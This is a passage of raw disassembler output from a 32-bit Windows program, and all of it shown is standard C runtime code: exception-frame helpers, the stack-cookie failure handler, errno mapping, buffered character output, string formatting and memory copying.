		jmp	short loc_40C2F0
; ---------------------------------------------------------------------------
		jmp	short loc_40C2F0
; ---------------------------------------------------------------------------


loc_40C286:				; CODE XREF: sub_40C254+1Fj
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_410D80
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40C2C4
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40C0C0


loc_40C2C4:				; CODE XREF: sub_40C254+63j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_40C17D
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_40C2F0:				; CODE XREF: sub_40C254+2Ej
					; sub_40C254+30j
		pop	ebx
		leave
		retn
sub_40C254	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2F3	proc near		; CODE XREF: sub_410928+83p
					; sub_410A1C+1B7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	esi, [edi+0Ch]
		mov	[ebp+var_4], eax
		mov	ebx, esi
		jmp	short loc_40C339
; ---------------------------------------------------------------------------


loc_40C30C:				; CODE XREF: sub_40C2F3+4Dj
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C316
		call	sub_40E077


loc_40C316:				; CODE XREF: sub_40C2F3+1Cj
		mov	ecx, [ebp+var_4]
		dec	esi
		mov	eax, esi
		imul	eax, 14h
		add	eax, ecx
		mov	ecx, [ebp+arg_8]
		cmp	[eax+4], ecx
		jge	short loc_40C32E
		cmp	ecx, [eax+8]
		jle	short loc_40C333


loc_40C32E:				; CODE XREF: sub_40C2F3+34j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C33C


loc_40C333:				; CODE XREF: sub_40C2F3+39j
		dec	[ebp+arg_4]
		mov	ebx, [ebp+arg_0]


loc_40C339:				; CODE XREF: sub_40C2F3+17j
		mov	[ebp+arg_0], esi


loc_40C33C:				; CODE XREF: sub_40C2F3+3Ej
		cmp	[ebp+arg_4], 0
		jge	short loc_40C30C
		mov	eax, [ebp+arg_C]
		inc	esi
		mov	[eax], esi
		mov	eax, [ebp+arg_10]
		mov	[eax], ebx
		cmp	ebx, [edi+0Ch]
		ja	short loc_40C356
		cmp	esi, ebx
		jbe	short loc_40C35B


loc_40C356:				; CODE XREF: sub_40C2F3+5Dj
		call	sub_40E077


loc_40C35B:				; CODE XREF: sub_40C2F3+61j
		mov	eax, esi
		imul	eax, 14h
		add	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C368	proc near		; CODE XREF: sub_41050D+28p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[esi], eax
		call	sub_40E38F
		mov	eax, [eax+98h]
		mov	[esi+4], eax
		call	sub_40E38F
		mov	[eax+98h], esi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_40C368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C394	proc near		; CODE XREF: sub_410633+60p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		call	sub_40E38F
		mov	eax, [eax+98h]
		jmp	short loc_40C3B0
; ---------------------------------------------------------------------------


loc_40C3A6:				; CODE XREF: sub_40C394+1Ej
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_40C3B7
		mov	eax, [eax+4]


loc_40C3B0:				; CODE XREF: sub_40C394+10j
		test	eax, eax
		jnz	short loc_40C3A6
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40C3B7:				; CODE XREF: sub_40C394+17j
		xor	eax, eax
		pop	ebp
		retn
sub_40C394	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3BB	proc near		; CODE XREF: sub_410633+9p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		call	sub_40E38F
		mov	esi, [ebp+arg_0]
		cmp	esi, [eax+98h]
		jnz	short loc_40C3E2
		call	sub_40E38F
		mov	ecx, [esi+4]
		mov	[eax+98h], ecx


loc_40C3DF:				; CODE XREF: sub_40C3BB+50j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40C3E2:				; CODE XREF: sub_40C3BB+14j
		call	sub_40E38F
		mov	eax, [eax+98h]
		jmp	short loc_40C3F8
; ---------------------------------------------------------------------------


loc_40C3EF:				; CODE XREF: sub_40C3BB+41j
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_40C405
		mov	eax, ecx


loc_40C3F8:				; CODE XREF: sub_40C3BB+32j
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C3EF
		pop	esi
		pop	ebp
		jmp	sub_40E077
; ---------------------------------------------------------------------------


loc_40C405:				; CODE XREF: sub_40C3BB+39j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		jmp	short loc_40C3DF
sub_40C3BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C40D	proc near		; CODE XREF: sub_41050D+7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_42A034
		and	[ebp+var_18], 0
		lea	ecx, [ebp+var_18]
		xor	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset sub_40C14A
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_410E70
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40C40D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C46D	proc near		; CODE XREF: sub_4016D2+1Fp
					; sub_401BB2+1Fp ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_42A034
		xor	eax, ebp
		push	eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40C46D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C4A0	proc near		; CODE XREF: sub_401652+7p
					; sub_4019F2+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_42A034
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], esp
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40C4A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C4D6	proc near		; CODE XREF: sub_401304+7p
					; sub_4080FF+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_42A034
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40C4D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C50C	proc near		; CODE XREF: sub_401652:loc_4016CAp
					; sub_4019F2:loc_401B5Dp ...
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	ecx
		retn
sub_40C50C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C520	proc near		; CODE XREF: sub_401304+111p
					; sub_4080FF:loc_408291p ...
		mov	ecx, [ebp-10h]
		xor	ecx, ebp
		call	sub_40AC1C
		jmp	sub_40C50C
sub_40C520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C52F	proc near		; CODE XREF: sub_40AC1C:loc_40AC26j

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
arg_0		= byte ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	dword_42E508, eax
		mov	dword_42E504, ecx
		mov	dword_42E500, edx
		mov	dword_42E4FC, ebx
		mov	dword_42E4F8, esi
		mov	dword_42E4F4, edi
		mov	word_42E520, ss
		mov	word_42E514, cs
		mov	word_42E4F0, ds
		mov	word_42E4EC, es
		mov	word_42E4E8, fs
		mov	word_42E4E4, gs
		pushf
		pop	dword_42E518
		mov	eax, [ebp+0]
		mov	dword_42E50C, eax
		mov	eax, [ebp+4]
		mov	dword_42E510, eax
		lea	eax, [ebp+arg_0]
		mov	dword_42E51C, eax
		mov	eax, [ebp+var_320]
		mov	dword_42E458, 10001h
		mov	eax, dword_42E510
		mov	dword_42E40C, eax
		mov	dword_42E400, 0C0000409h
		mov	dword_42E404, 1
		mov	eax, dword_42A034
		mov	[ebp+var_328], eax
		mov	eax, dword_42A038
		mov	[ebp+var_324], eax
		call	dword_41D1A8	; IsDebuggerPresent
		mov	dword_42E450, eax
		push	1
		call	sub_40E0C0
		pop	ecx
		push	0
		call	dword_41D1AC	; SetUnhandledExceptionFilter
		push	offset off_41D5AC
		call	dword_41D1B0	; UnhandledExceptionFilter
		cmp	dword_42E450, 0
		jnz	short loc_40C621
		push	1
		call	sub_40E0C0
		pop	ecx


loc_40C621:				; CODE XREF: sub_40C52F+E8j
		push	0C0000409h
		call	dword_41D214	; GetCurrentProcess
		push	eax
		call	dword_41D1B4	; TerminateProcess
		leave
		retn
sub_40C52F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C635	proc near		; CODE XREF: sub_40C8AB+B6p
					; sub_40C8AB+D3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_411ACB
		mov	[ebp+arg_4], eax
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 82h
		jnz	short loc_40C667
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_40C65B:				; CODE XREF: sub_40C635+41j
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C796
; ---------------------------------------------------------------------------


loc_40C667:				; CODE XREF: sub_40C635+19j
		test	al, 40h
		jz	short loc_40C678
		call	sub_40C862
		mov	dword ptr [eax], 22h
		jmp	short loc_40C65B
; ---------------------------------------------------------------------------


loc_40C678:				; CODE XREF: sub_40C635+34j
		push	ebx
		xor	ebx, ebx
		test	al, 1
		jz	short loc_40C695
		mov	[esi+4], ebx
		test	al, 10h
		jz	loc_40C711
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_40C695:				; CODE XREF: sub_40C635+48j
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFEFh
		or	eax, 2
		mov	[esi+0Ch], eax
		mov	[esi+4], ebx
		mov	[ebp+var_4], ebx
		test	eax, 10Ch
		jnz	short loc_40C6DA
		call	sub_411916
		add	eax, 20h
		cmp	esi, eax
		jz	short loc_40C6C6
		call	sub_411916
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_40C6D3


loc_40C6C6:				; CODE XREF: sub_40C635+83j
		push	[ebp+arg_4]
		call	sub_4118B2
		pop	ecx
		test	eax, eax
		jnz	short loc_40C6DA


loc_40C6D3:				; CODE XREF: sub_40C635+8Fj
		push	esi
		call	sub_411869
		pop	ecx


loc_40C6DA:				; CODE XREF: sub_40C635+77j
					; sub_40C635+9Cj
		test	dword ptr [esi+0Ch], 108h
		push	edi
		jz	loc_40C768
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		cmp	edi, ebx
		mov	[esi+4], ecx
		jle	short loc_40C71C
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_41178D
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_40C75E
; ---------------------------------------------------------------------------


loc_40C711:				; CODE XREF: sub_40C635+4Fj
		or	eax, 20h
		mov	[esi+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C795
; ---------------------------------------------------------------------------


loc_40C71C:				; CODE XREF: sub_40C635+C8j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_40C73F
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_40C73F
		mov	eax, ecx
		and	eax, 1Fh
		mov	edx, ecx
		sar	edx, 5
		shl	eax, 6
		add	eax, dword_430160[edx*4]
		jmp	short loc_40C744
; ---------------------------------------------------------------------------


loc_40C73F:				; CODE XREF: sub_40C635+EDj
					; sub_40C635+F2j
		mov	eax, offset dword_42A3E0


loc_40C744:				; CODE XREF: sub_40C635+108j
		test	byte ptr [eax+4], 20h
		jz	short loc_40C75E
		push	2
		push	ebx
		push	ebx
		push	ecx
		call	sub_410F41
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C783


loc_40C75E:				; CODE XREF: sub_40C635+DAj
					; sub_40C635+113j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_40C77E
; ---------------------------------------------------------------------------


loc_40C768:				; CODE XREF: sub_40C635+ADj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		call	sub_41178D
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_40C77E:				; CODE XREF: sub_40C635+131j
		cmp	[ebp+var_4], edi
		jz	short loc_40C78C


loc_40C783:				; CODE XREF: sub_40C635+127j
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C794
; ---------------------------------------------------------------------------


loc_40C78C:				; CODE XREF: sub_40C635+14Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_40C794:				; CODE XREF: sub_40C635+155j
		pop	edi


loc_40C795:				; CODE XREF: sub_40C635+E5j
		pop	ebx


loc_40C796:				; CODE XREF: sub_40C635+2Dj
		pop	esi
		leave
		retn
sub_40C635	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C799	proc near		; CODE XREF: sub_40F0F5+10p
					; sub_411DC7+Fp ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		mov	byte ptr [esi+0Ch], 0
		test	eax, eax
		jnz	short loc_40C80F
		call	sub_40E38F
		mov	[esi+8], eax
		mov	ecx, [eax+6Ch]
		mov	[esi], ecx
		mov	ecx, [eax+68h]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		cmp	ecx, off_42ACD8
		jz	short loc_40C7DB
		mov	ecx, dword_42ABF4
		test	[eax+70h], ecx
		jnz	short loc_40C7DB
		call	sub_41248F
		mov	[esi], eax


loc_40C7DB:				; CODE XREF: sub_40C799+2Ej
					; sub_40C799+39j
		mov	eax, [esi+4]
		cmp	eax, dword_42AAF8
		jz	short loc_40C7FC
		mov	eax, [esi+8]
		mov	ecx, dword_42ABF4
		test	[eax+70h], ecx
		jnz	short loc_40C7FC
		call	sub_411D23
		mov	[esi+4], eax


loc_40C7FC:				; CODE XREF: sub_40C799+4Bj
					; sub_40C799+59j
		mov	eax, [esi+8]
		test	byte ptr [eax+70h], 2
		jnz	short loc_40C819
		or	dword ptr [eax+70h], 2
		mov	byte ptr [esi+0Ch], 1
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40C799+11j
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax


loc_40C819:				; CODE XREF: sub_40C799+6Aj
					; sub_40C799+74j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	4
sub_40C799	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C820	proc near		; CODE XREF: sub_40ADC8+80p
					; sub_40B8A1+182p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx


loc_40C82A:				; CODE XREF: sub_40C820+17j
		cmp	eax, dword_42A040[ecx*8]
		jz	short loc_40C846
		inc	ecx
		cmp	ecx, 2Dh
		jb	short loc_40C82A
		lea	ecx, [eax-13h]
		cmp	ecx, 11h
		ja	short loc_40C84F
		push	0Dh
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40C846:				; CODE XREF: sub_40C820+11j
		mov	eax, dword_42A044[ecx*8]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40C84F:				; CODE XREF: sub_40C820+1Fj
		add	eax, 0FFFFFF44h
		push	0Eh
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		and	eax, ecx
		add	eax, 8
		pop	ebp
		retn
sub_40C820	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C862	proc near		; CODE XREF: sub_40AC49:loc_40AC5Ep
					; sub_40AC49+3Ap ...
		call	sub_40E316
		test	eax, eax
		jnz	short loc_40C871
		mov	eax, offset dword_42A1A8
		retn
; ---------------------------------------------------------------------------


loc_40C871:				; CODE XREF: sub_40C862+7j
		add	eax, 8
		retn
sub_40C862	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C875	proc near		; CODE XREF: sub_40C888+6p
					; sub_410F41+1Dp ...
		call	sub_40E316
		test	eax, eax
		jnz	short loc_40C884
		mov	eax, offset dword_42A1AC
		retn
; ---------------------------------------------------------------------------


loc_40C884:				; CODE XREF: sub_40C875+7j
		add	eax, 0Ch
		retn
sub_40C875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C888	proc near		; CODE XREF: sub_40B866+21p
					; sub_410EBC+5Ap ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		call	sub_40C875
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	[eax], ecx
		call	sub_40C820
		pop	ecx
		mov	esi, eax
		call	sub_40C862
		mov	[eax], esi
		pop	esi
		pop	ebp
		retn
sub_40C888	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A3+56p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40C8DB
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C8DB:				; CODE XREF: sub_40C8AB+Ej
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_8]
		cmp	edi, ebx
		jz	short loc_40C90B
		cmp	esi, ebx
		jnz	short loc_40C90B
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C99E
; ---------------------------------------------------------------------------


loc_40C90B:				; CODE XREF: sub_40C8AB+3Aj
					; sub_40C8AB+3Ej
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		cmp	edi, 3FFFFFFFh
		jbe	short loc_40C929
		mov	[ebp+var_1C], 7FFFFFFFh
		jmp	short loc_40C92F
; ---------------------------------------------------------------------------


loc_40C929:				; CODE XREF: sub_40C8AB+73j
		lea	eax, [edi+edi]
		mov	[ebp+var_1C], eax


loc_40C92F:				; CODE XREF: sub_40C8AB+7Cj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	eax
		call	[ebp+arg_0]
		add	esp, 10h
		mov	[ebp+arg_C], eax
		cmp	esi, ebx
		jz	short loc_40C99E
		cmp	eax, ebx
		jl	short loc_40C98F
		dec	[ebp+var_1C]
		js	short loc_40C95C
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		inc	[ebp+var_20]
		jmp	short loc_40C96D
; ---------------------------------------------------------------------------


loc_40C95C:				; CODE XREF: sub_40C8AB+A5j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_40C635
		pop	ecx
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C98F


loc_40C96D:				; CODE XREF: sub_40C8AB+AFj
		dec	[ebp+var_1C]
		js	short loc_40C979
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40C98A
; ---------------------------------------------------------------------------


loc_40C979:				; CODE XREF: sub_40C8AB+C5j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_40C635
		pop	ecx
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C98F


loc_40C98A:				; CODE XREF: sub_40C8AB+CCj
		mov	eax, [ebp+arg_C]
		jmp	short loc_40C99E
; ---------------------------------------------------------------------------


loc_40C98F:				; CODE XREF: sub_40C8AB+A0j
					; sub_40C8AB+C0j ...
		xor	eax, eax
		cmp	[ebp+var_1C], ebx
		mov	[esi+edi*2-2], ax
		setnl	al
		dec	eax
		dec	eax


loc_40C99E:				; CODE XREF: sub_40C8AB+5Bj
					; sub_40C8AB+9Cj ...
		pop	edi
		pop	esi


loc_40C9A0:				; CODE XREF: sub_40C8AB+2Bj
		pop	ebx
		leave
		retn
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A3	proc near		; CODE XREF: sub_40AC2B+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jnz	short loc_40C9CD
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CA2B
; ---------------------------------------------------------------------------


loc_40C9CD:				; CODE XREF: sub_40C9A3+Bj
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	edi, esi
		jz	short loc_40C9DA
		cmp	[ebp+arg_4], esi
		ja	short loc_40C9E7


loc_40C9DA:				; CODE XREF: sub_40C9A3+30j
		call	sub_40C862
		mov	dword ptr [eax], 16h
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9E7:				; CODE XREF: sub_40C9A3+35j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		push	offset sub_4128E7
		call	sub_40C8AB
		add	esp, 18h
		cmp	eax, esi
		jge	short loc_40CA0A
		xor	ecx, ecx
		mov	[edi], cx


loc_40CA0A:				; CODE XREF: sub_40C9A3+60j
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40CA2A
		call	sub_40C862
		mov	dword ptr [eax], 22h


loc_40CA1A:				; CODE XREF: sub_40C9A3+42j
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh


loc_40CA2A:				; CODE XREF: sub_40C9A3+6Aj
		pop	edi


loc_40CA2B:				; CODE XREF: sub_40C9A3+28j
		pop	esi
		pop	ebp
		retn
sub_40C9A3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA30	proc near		; CODE XREF: sub_40AC49+4Fp
					; sub_40D00C+2DCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40CA50
		cmp	edi, eax
		jb	loc_40CBF4


loc_40CA50:				; CODE XREF: sub_40CA30+16j
		cmp	ecx, 100h
		jb	short loc_40CA77
		cmp	dword_430144, 0
		jz	short loc_40CA77
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_40CA77
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_41350E
; ---------------------------------------------------------------------------


loc_40CA77:				; CODE XREF: sub_40CA30+26j
					; sub_40CA30+2Fj ...
		test	edi, 3
		jnz	short loc_40CA94
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40CAB4
		rep movsd
		jmp	off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CA94:				; CODE XREF: sub_40CA30+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40CAAC
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40CAB4+4[eax*4]
; ---------------------------------------------------------------------------


loc_40CAAC:				; CODE XREF: sub_40CA30+6Ej
		jmp	dword ptr loc_40CBB4[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CAB4:				; CODE XREF: sub_40CA30+58j
					; sub_40CA30+B6j ...
		jmp	off_40CB38[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40CAC8
		dd offset loc_40CAF4
		dd offset loc_40CB18
; ---------------------------------------------------------------------------


loc_40CAC8:				; DATA XREF: sub_40CA30+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40CAB4
		rep movsd
		jmp	off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CAF4:				; DATA XREF: sub_40CA30+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40CAB4
		rep movsd
		jmp	off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CB18:				; DATA XREF: sub_40CA30+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40CAB4
		rep movsd
		jmp	off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40CB38	dd offset loc_40CB9B	; DATA XREF: sub_40CA30:loc_40CAB4r
		dd offset loc_40CB88
		dd offset loc_40CB80
